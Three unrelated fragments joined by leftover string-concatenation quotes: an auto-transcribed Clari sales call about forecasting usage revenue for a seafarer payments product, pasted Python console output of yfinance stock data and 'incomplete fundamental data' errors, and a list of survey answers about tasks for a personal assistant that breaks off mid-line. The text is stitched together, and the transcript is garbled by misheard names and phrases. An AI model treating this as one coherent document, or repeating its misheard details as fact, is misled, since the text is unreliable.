it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve.\n>"' +"that code returns PS C:\\Users\\andy9\\Desktop\\python> & C:/Users/andy9/AppData/Local/Programs/Python/Python310/python.exe c:/Users/andy9/Desktop/python/0326\\_quant\\_ex.py\n[\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*100%\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*] 20 of 20 completed\n\n1 Failed download:\n- FB: No timezone found, symbol may be delisted\nError: Incomplete fundamental data for AAPL\n{'symbol': 'AAPL', 'twoHundredDayAverageChangePercent': 0.08320716, 'dividendDate': 1676505600, 'fiftyTwoWeekLowChangePercent': 0.2905694, 'averageAnalystRating': '2.0 - Buy', 'language': 'en-US', 'regularMarketDayRange': '157.85 - 160.34', 'earningsTimestampEnd': 1682942400, 'epsForward': 6.61, 'regularMarketDayHigh': 160.34, 'twoHundredDayAverageChange': 12.309692, 'twoHundredDayAverage': 147.9403, 'askSize': 8, 'bookValue': 3.581, \n'fiftyTwoWeekHighChange': -19.36, 'marketCap': 2535459389440, 'fiftyTwoWeekRange': '124.17 - 179.61', 'fiftyDayAverageChange': 11.374603, 'firstTradeDateMilliseconds': 345479400000, 'averageDailyVolume3Month': 70658500, 'exchangeDataDelayedBy': 0, 'trailingAnnualDividendRate': 0.91, 'fiftyTwoWeekLow': 124.17, 'market': 'us\\_market', 'regularMarketVolume': 59256343, 'postMarketPrice': 160.23, 'quoteSourceName': 'Nasdaq Real Time Price', 'messageBoardId': 'finmb\\_24937', 'priceHint': 2, 'sourceInterval': 15, 'regularMarketDayLow': 157.85, 'exchange': 'NMS', 'shortName': 'Apple Inc.', 'region': 'US', 'fiftyDayAverageChangePercent': 0.07640351, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682506740, 'financialCurrency': 'USD', 'displayName': 'Apple', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 158.86, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': 0.83055896, 'trailingAnnualDividendYield': 0.0057257917, 'quoteType': 'EQUITY', 'averageDailyVolume10Day': 76044460, 'fiftyTwoWeekLowChange': 36.08, 'fiftyTwoWeekHighChangePercent': -0.1077891, 'typeDisp': 'Equity', 'trailingPE': 26.932774, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 15821899776, 'regularMarketPreviousClose': 158.93, 'fiftyTwoWeekHigh': 179.61, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': -0.0124832, 'bidSize': 8, 'regularMarketChange': 1.3200073, 'priceEpsCurrentYear': 26.887583, 'cryptoTradeable': False, 'fiftyDayAverage': 148.8754, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 5.96, 'customPriceAlertConfidence': 'HIGH', 'regularMarketPrice': 160.25, 'marketState': 'CLOSED', 'forwardPE': 24.24357, 'postMarketChange': -0.0200043, 'earningsTimestamp': 1675375200, 'ask': 160.03, 'epsTrailingTwelveMonths': 5.95, 'bid': 160.2, 'triggerable': True, 'priceToBook': 44.75007, 'longName': 'Apple Inc.', 'trailingPegRatio': 2.622}\nError: Incomplete fundamental data for MSFT\n{'symbol': 'MSFT', 'twoHundredDayAverageChangePercent': 0.11072977, 'dividendDate': 1686182400, 'averageAnalystRating': '1.9 - Buy', 'fiftyTwoWeekLowChangePercent': 0.3145763, 'language': 'en-US', 'earningsTimestampEnd': 1682683200, 'regularMarketDayRange': '275.3 - 280.63', 'epsForward': 10.75, 'regularMarketDayHigh': 280.63, 'twoHundredDayAverageChange': 27.970306, 'twoHundredDayAverage': 252.5997, 'askSize': 9, 'bookValue': 24.592, 'fiftyTwoWeekHighChange': -35.380005, 'marketCap': 2088507015168, 'fiftyTwoWeekRange': '213.43 - 315.95', 'fiftyDayAverageChange': 24.51361, 'firstTradeDateMilliseconds': 511108200000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 32351929, 'trailingAnnualDividendRate': 2.6, 'fiftyTwoWeekLow': 213.43, 'market': 'us\\_market', 'regularMarketVolume': 28199962, 'postMarketPrice': 280.94, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_21835', 'priceHint': 2, 'regularMarketDayLow': 275.3, 'exchange': 'NMS', 'sourceInterval': 15, 'shortName': 'Microsoft Corporation', 'region': 'US', 'fiftyDayAverageChangePercent': 0.0957352, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682333940, 'financialCurrency': 'USD', 'displayName': 'Microsoft', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 277.24, 'regularMarketTime': '4:00PM EDT', \n'regularMarketChangePercent': 1.0480458, 'trailingAnnualDividendYield': 0.00936397, 'quoteType': 'EQUITY', 'fiftyTwoWeekLowChange': 67.140015, 'averageDailyVolume10Day': 41493050, 'fiftyTwoWeekHighChangePercent': -0.11197975, 'typeDisp': 'Equity', 'trailingPE': 30.865788, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 7443800064, 'regularMarketPreviousClose': 277.66, 'fiftyTwoWeekHigh': 315.95, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': 0.13187265, 'bidSize': 8, 'regularMarketChange': 2.9100037, 'priceEpsCurrentYear': 29.97543, 'cryptoTradeable': False, 'fiftyDayAverage': 256.0564, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 9.36, 'customPriceAlertConfidence': 'HIGH', 'marketState': 'CLOSED', 'regularMarketPrice': 280.57, 'forwardPE': 26.099535, 'postMarketChange': 0.36999512, 'earningsTimestamp': 1674599400, 'ask': 280.96, 'epsTrailingTwelveMonths': 9.09, 'bid': 280.94, 'triggerable': True, 'priceToBook': 11.408996, 'longName': 'Microsoft Corporation', 'trailingPegRatio': 2.0998}\nError: Incomplete fundamental data for GOOGL\n{'symbol': 'GOOGL', 'twoHundredDayAverageChangePercent': 0.038630545, 'fiftyTwoWeekLowChangePercent': 0.26517886, 'averageAnalystRating': '1.8 - Buy', 'language': 'en-US', 'earningsTimestampEnd': 1682712000, 'regularMarketDayRange': '103.84 - 105.49', 'epsForward': 6.1, 'regularMarketDayHigh': 105.49, 'twoHundredDayAverageChange': 3.9217072, 'twoHundredDayAverage': 101.518295, 'askSize': 18, 'bookValue': 19.935, 'fiftyTwoWeekHighChange': -38.3535, 'marketCap': 1354071015424, 'fiftyTwoWeekRange': '83.34 - 143.7935', 'fiftyDayAverageChange': 9.041801, 'exchangeDataDelayedBy': 0, \n'firstTradeDateMilliseconds': 1092922200000, 'averageDailyVolume3Month': 39514009, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 83.34, 'regularMarketVolume': 30365732, 'market': 'us\\_market', 'postMarketPrice': 105.74, 'quoteSourceName': 'Nasdaq Real Time Price', 'messageBoardId': 'finmb\\_29096', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NMS', 'regularMarketDayLow': 103.84, 'region': 'US', 'shortName': 'Alphabet Inc.', 'fiftyDayAverageChangePercent': 0.09379637, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682366400, 'financialCurrency': 'USD', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 104.99, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': -0.1515114, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 44016880, 'fiftyTwoWeekLowChange': 22.100006, 'fiftyTwoWeekHighChangePercent': -0.26672623, 'typeDisp': 'Equity', 'trailingPE': 22.15126, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 5955999744, 'regularMarketPreviousClose': 105.6, 'fiftyTwoWeekHigh': 143.7935, 'postMarketChangePercent': 0.284518, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': -0.15999603, 'bidSize': 8, 'priceEpsCurrentYear': 20.755907, 'cryptoTradeable': False, 'fiftyDayAverage': 96.3982, 'epsCurrentYear': 5.08, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 105.44, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': 0.299995, 'forwardPE': 17.285246, 'earningsTimestamp': 1675373400, 'ask': 105.6, 'epsTrailingTwelveMonths': 4.76, 'bid': 105.67, 'priceToBook': 5.2891903, 'triggerable': True, 'longName': 'Alphabet Inc.', 'trailingPegRatio': 1.2305}\nError: Incomplete fundamental data for AMZN\n{'symbol': 'AMZN', 'twoHundredDayAverageChangePercent': -0.089479335, 'averageAnalystRating': '1.8 - Buy', 'fiftyTwoWeekLowChangePercent': 0.20508409, 'language': 'en-US', 'earningsTimestampEnd': 1682942400, 'regularMarketDayRange': '96.4 - 98.295', 'epsForward': 2.51, 'regularMarketDayHigh': 98.295, 'twoHundredDayAverageChange': -9.643501, 'twoHundredDayAverage': 107.7735, 'askSize': 13, 'bookValue': 14.259, 'fiftyTwoWeekHighChange': -72.7015, 'marketCap': 1005567541248, 'fiftyTwoWeekRange': '81.43 - 170.8315', 'fiftyDayAverageChange': 0.5935974, 'firstTradeDateMilliseconds': \n863703000000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 69248703, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 81.43, 'market': 'us\\_market', 'regularMarketVolume': 56144801, 'postMarketPrice': 98.44, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_18749', \n'priceHint': 2, 'regularMarketDayLow': 96.4, 'exchange': 'NMS', 'sourceInterval': 15, 'shortName': 'Amazon.com, Inc.', 'region': 'US', 'fiftyDayAverageChangePercent': 0.0060859066, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682506740, 'financialCurrency': 'USD', 'displayName': 'Amazon.com', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 98.065, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': \n-0.58758163, 'trailingAnnualDividendYield': 0.0, 'quoteType': 'EQUITY', 'fiftyTwoWeekLowChange': 16.699997, 'averageDailyVolume10Day': 66777800, 'fiftyTwoWeekHighChangePercent': -0.42557433, 'typeDisp': 'Equity', 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 10247300096, 'regularMarketPreviousClose': 98.71, 'fiftyTwoWeekHigh': 170.8315, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': 0.31591275, 'bidSize': 10, 'regularMarketChange': -0.58000183, 'priceEpsCurrentYear': 69.10564, 'cryptoTradeable': False, 'fiftyDayAverage': 97.5364, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 1.42, 'customPriceAlertConfidence': 'HIGH', 'marketState': 'CLOSED', 'regularMarketPrice': 98.13, 'forwardPE': 39.095615, 'postMarketChange': 0.3100052, 'earningsTimestamp': 1675377000, 'ask': 98.35, 'epsTrailingTwelveMonths': -0.27, 'bid': 98.42, 'triggerable': True, 'priceToBook': 6.881969, 'longName': 'Amazon.com, Inc.', 'trailingPegRatio': 3.7143}\nError retrieving fundamental data for FB: 'NoneType' object has no attribute 'items'\nError: Incomplete fundamental data for TSLA\n{'symbol': 'TSLA', 'twoHundredDayAverageChangePercent': -0.121273056, 'fiftyTwoWeekLowChangePercent': 0.87024856, 'averageAnalystRating': '2.4 - Buy', 'language': 'en-US', 'earningsTimestampEnd': 1682337600, 'regularMarketDayRange': '187.15 - 192.36', 'epsForward': 5.47, 'regularMarketDayHigh': 192.36, 'twoHundredDayAverageChange': -26.278473, 'twoHundredDayAverage': 216.68848, 'askSize': 12, 'bookValue': 14.129, 'fiftyTwoWeekHighChange': -193.88, 'marketCap': 602476314624, 'fiftyTwoWeekRange': '101.81 - 384.29', 'fiftyDayAverageChange': 9.788605, 'exchangeDataDelayedBy': 0, 'firstTradeDateMilliseconds': 1277818200000, 'averageDailyVolume3Month': 180632852, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 101.81, 'regularMarketVolume': 116531584, 'market': 'us\\_market', 'postMarketPrice': 190.21, 'messageBoardId': 'finmb\\_27444752', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NMS', 'regularMarketDayLow': 187.15, 'region': 'US', 'shortName': 'Tesla, Inc.', 'fiftyDayAverageChangePercent': 0.054194048, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1681815540, 'financialCurrency': 'USD', 'displayName': 'Tesla', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 191.65, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': -0.9416281, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 140553570, 'fiftyTwoWeekLowChange': 88.600006, 'fiftyTwoWeekHighChangePercent': -0.5045148, 'typeDisp': 'Equity', 'trailingPE': 50.506634, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': \n3164100096, 'regularMarketPreviousClose': 192.22, 'fiftyTwoWeekHigh': 384.29, 'postMarketChangePercent': -0.105034895, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': -1.8099976, 'bidSize': 12, 'priceEpsCurrentYear': 48.698208, 'cryptoTradeable': False, 'fiftyDayAverage': \n180.6214, 'epsCurrentYear': 3.91, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 190.41, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': -0.19999695, 'forwardPE': 34.809875, 'earningsTimestamp': 1674685800, 'ask': 190.19, 'epsTrailingTwelveMonths': 3.77, 'bid': 190.21, 'priceToBook': 13.476538, 'triggerable': True, 'longName': 'Tesla, Inc.', 'trailingPegRatio': 1.6384}\nError: Incomplete fundamental data for BRK-B\n{'symbol': 'BRK-B', 'twoHundredDayAverageChangePercent': 0.013854862, 'fiftyTwoWeekLowChangePercent': 0.150356, 'averageAnalystRating': '2.7 - Hold', 'language': 'en-US', 'earningsTimestampEnd': 1628598600, 'regularMarketDayRange': '293.3947 - 299.5', 'epsForward': 17.79, 'regularMarketDayHigh': 299.5, 'twoHundredDayAverageChange': 4.0849, 'twoHundredDayAverage': 294.8351, 'askSize': 11, 'bookValue': 323497.25, 'fiftyTwoWeekHighChange': -63.179993, 'marketCap': 655471804416, 'fiftyTwoWeekRange': '259.85 - 362.1', 'fiftyDayAverageChange': -8.579987, 'exchangeDataDelayedBy': 0, 'firstTradeDateMilliseconds': 831648600000, 'averageDailyVolume3Month': 3879837, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 259.85, 'regularMarketVolume': 3895875, 'market': 'us\\_market', 'postMarketPrice': 299.0, 'messageBoardId': 'finmb\\_255251', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NYQ', 'regularMarketDayLow': 293.3947, 'region': 'US', 'shortName': 'Berkshire Hathaway Inc. New', 'fiftyDayAverageChangePercent': -0.027902395, 'fullExchangeName': 'NYSE', 'earningsTimestampStart': 1628253000, 'financialCurrency': 'USD', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 294.68, 'regularMarketTime': '4:03PM EDT', 'regularMarketChangePercent': 0.18434103, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 6112990, 'fiftyTwoWeekLowChange': 39.070007, 'fiftyTwoWeekHighChangePercent': -0.17448217, 'typeDisp': 'Equity', 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 1298189952, 'regularMarketPreviousClose': \n298.37, 'fiftyTwoWeekHigh': 362.1, 'postMarketChangePercent': 0.02675852, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': 0.5500183, 'bidSize': 8, 'priceEpsCurrentYear': 18.967005, 'cryptoTradeable': False, 'fiftyDayAverage': 307.5, 'epsCurrentYear': 15.76, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 298.92, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': 0.07998657, \n'forwardPE': 16.802698, 'earningsTimestamp': 1596889800, 'ask': 298.92, 'epsTrailingTwelveMonths': -10.28, 'bid': 298.92, 'priceToBook': 0.0009240264, 'triggerable': True, 'longName': 'Berkshire Hathaway Inc.', 'trailingPegRatio': None}\nError: Incomplete fundamental data for JPM\n{'symbol': 'JPM', 'twoHundredDayAverageChangePercent': -0.0024592741, 'dividendDate': 1675123200, 'averageAnalystRating': '2.1 - Buy', 'fiftyTwoWeekLowChangePercent': 0.23331363, 'language': 'en-US', 'earningsTimestampEnd': 1681475400, 'regularMarketDayRange': '123.11 - 125.68', 'epsForward': 13.46, 'regularMarketDayHigh': 125.68, 'twoHundredDayAverageChange': -0.30794525, 'twoHundredDayAverage': 125.21795, 'askSize': 10, 'bookValue': 90.29, 'fiftyTwoWeekHighChange': -19.429993, 'marketCap': 367655092224, 'fiftyTwoWeekRange': '101.28 - 144.34', 'fiftyDayAverageChange': -12.8694, 'firstTradeDateMilliseconds': 322151400000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 13090954, 'trailingAnnualDividendRate': 4.0, 'fiftyTwoWeekLow': 101.28, 'market': 'us\\_market', 'regularMarketVolume': 22197157, 'postMarketPrice': 125.05, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_658776', 'priceHint': 2, 'regularMarketDayLow': 123.11, 'exchange': 'NYQ', 'sourceInterval': 15, 'shortName': 'JP Morgan Chase & Co.', 'region': 'US', 'fiftyDayAverageChangePercent': -0.093405835, 'fullExchangeName': 'NYSE', 'earningsTimestampStart': 1681475400 ... somthing like this very long long messages지금 번역하기" +'The next question was "Imagine that you hire a personal assistant. \\_What’s the first task you assign to them?". Here are the answers. Provide commentary, insights and analysis: \n\nManage my agenda\nOrganizing and scheduling\nTo sort out organization of files/emails and schedules\nBrand outreach\nI will show my own ideas\nManage diary\nOrganize time slots for content\nFind bigger collaboration deals\ncheck my emails\ntaxes\nShow me How you will increase the number of clients on my brands?\npaperwork\nManaging social media\nFind brand collaborations for me.\nto find clients\nManage appointments\nEdit videos\nScheduling tasks\nSet up meetings with new brands/collaborators\nTime management and organization\nOrganize my schedule\nfully set up my CRM\nManage my social media\nEngagement on socials\nbooking brand deals/events, content promo, etc\nProject management\nOrganize calendar, reach out to potential clients, send emails.\nHow can you help me make my life easier as someone who is self employed?\nScheduling\nSeek brand collabs\nreaching out to potential brands\nTo check my accounts\nInvoices\nHelp with content creation\nDo a Gap Analysis on my potential clientele\nContent planning\nReach out to new followers and promote\nBooking clients\nFilter through my emails\nGo through my email, manage my appointments and manage my side business\nI wouldn’t know where to begin but most likely email\nSort out all the unread emails\nReaching out to potential clients/brands\nEmailing Brands\nInvoicing\nFind clients\nTake care of my schedule\nemail all the brands that are reaching out\nManaging my messages on socials\nOrganize my content\nI don’t have enough work to hire someone\nGet jobs for me\nHelp find brands to work with\nTake care of my finances\nReach out to brands\nPost and edit different video\nLook for more collaborations\nTake care of emails and customer service\nEmails\nManage my calendar\nScan slides\nHelp me gain more audience and expand my reach\nTo calculate my taxes\nSocial media strategy\nHelp organize tasks around the work space\nBrand outreach\nFact finding\nSocial media engagement and planning content.\nResponding to emails.\nWorking on outreaching to brands for more partnerships\nSend out pitches , and link my work to Pinterest .\nUpdate expenses and taxes\nMARKETING MY BUSINESS\nBrand collaborations\nedit video\nTo finally make a post calendar\nGet me jobs, reply to clients\nSocial media brand awareness\nScheduling\ncoffee runs consantly\nsocial media management\nIncrease my profits\nMarketing\nFind new clients\nContent calendar creation\nNegotiating with brands\nVoicemail/email\nHow do you manage stress\nReplying to 